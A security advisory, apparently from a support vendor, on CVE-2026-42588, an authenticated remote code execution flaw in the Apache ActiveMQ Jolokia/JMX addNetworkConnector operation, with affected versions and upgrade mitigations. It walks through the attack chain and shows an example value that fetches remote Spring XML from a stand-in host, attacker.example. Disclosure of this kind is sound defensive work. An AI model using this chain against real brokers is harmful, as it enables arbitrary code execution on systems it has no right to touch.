CVE-2026-42588
Patch Available.
This Vulnerability has been fixed in the Never-Ending Support (NES) version offered by HeroDevs.
Overview
Apache ActiveMQ is an open-source message broker, maintained by the Apache Software Foundation, for messaging and Enterprise Integration Patterns. It supports Java Message Service (JMS) clients along with cross-language protocols such as OpenWire, STOMP, AMQP 1.0, and MQTT, and ships a web console with a Jolokia JMX-over-HTTP API. Its modules are published as Maven artifacts under org.apache.activemq.
A remote code execution vulnerability (CVE-2026-42588) has been identified in the ActiveMQ broker's JMX management interface, which allows authenticated attackers to run arbitrary code on the broker by calling the addNetworkConnector operation through the Jolokia endpoint with a crafted discovery URI.
Per OWASP: Code Injection is the general term for attack types which consist of injecting code that is then interpreted/executed by the application. This type of attack exploits poor handling of untrusted data.
This issue affects multiple versions of ActiveMQ.
Details
Module Info
- Product: ActiveMQ
- Affected packages:
org.apache.activemq:activemq-broker,org.apache.activemq:activemq-all,org.apache.activemq:apache-activemq - Affected versions: <5.19.7, >=6.0.0 <6.2.6
- GitHub repository: https://github.com/apache/activemq
- Published packages:
- Package manager: Maven
- Fixed in:
- OSS ActiveMQ 5.19.7, 6.2.6
- NES for ActiveMQ v5.16.10
Vulnerability Info
This High-severity vulnerability is found in the org.apache.activemq:activemq-broker package in versions of ActiveMQ before 5.19.7 and from 6.0.0 before 6.2.6. The activemq-all and apache-activemq artifacts bundle the same broker code.
The ActiveMQ web console exposes the Jolokia JMX-over-HTTP bridge at /api/jolokia/. Its default access policy allows every operation on the broker's own MBeans (org.apache.activemq:*), so any user who can log in to the console can invoke BrokerView.addNetworkConnector(String). The operation hands the caller's discovery URI straight to the broker, then registers and starts the new connector:
public String addNetworkConnector(String discoveryAddress) throws Exception {
NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
if (connector == null) {
throw new NoSuchElementException("Not connector matched the given name: " + discoveryAddress);
}
brokerService.registerNetworkConnectorMBean(connector);
connector.start();
return connector.getName();
}An attacker supplies a masterslave: discovery URI that wraps a vm:// transport. When the connector starts, VMTransportFactory reads the brokerConfig query parameter of that vm:// URI and uses it, without restriction, as the URI for creating a new embedded broker:
String config = options.remove("brokerConfig");
if (config != null) {
brokerURI = new URI(config);
}
// ...
broker = BrokerFactory.createBroker(brokerURI);A brokerConfig value such as xbean:http://attacker.example/evil.xml makes the XBean broker factory fetch the remote file and load it as a Spring XML application context (ResourceXmlApplicationContext). Spring instantiates every singleton bean in that context before the broker validates its configuration, so a bean definition that calls a factory method such as Runtime.exec() runs attacker-chosen code in the broker's JVM with the broker's privileges.
Mitigation
Only recent versions of ActiveMQ are community-supported. Older lines are End-of-Life and will not receive public updates to address this issue. For more information see here.
Users of the affected components should apply one of the following mitigations:
- Upgrade to a currently supported ActiveMQ release line (5.19.x or 6.3.x) that contains the fix.
- Leverage a commercial support partner like HeroDevs for post-EOL security support.
Credits
- pyn3rd (finder)
- uname (finder)
- 4ra1n (finder)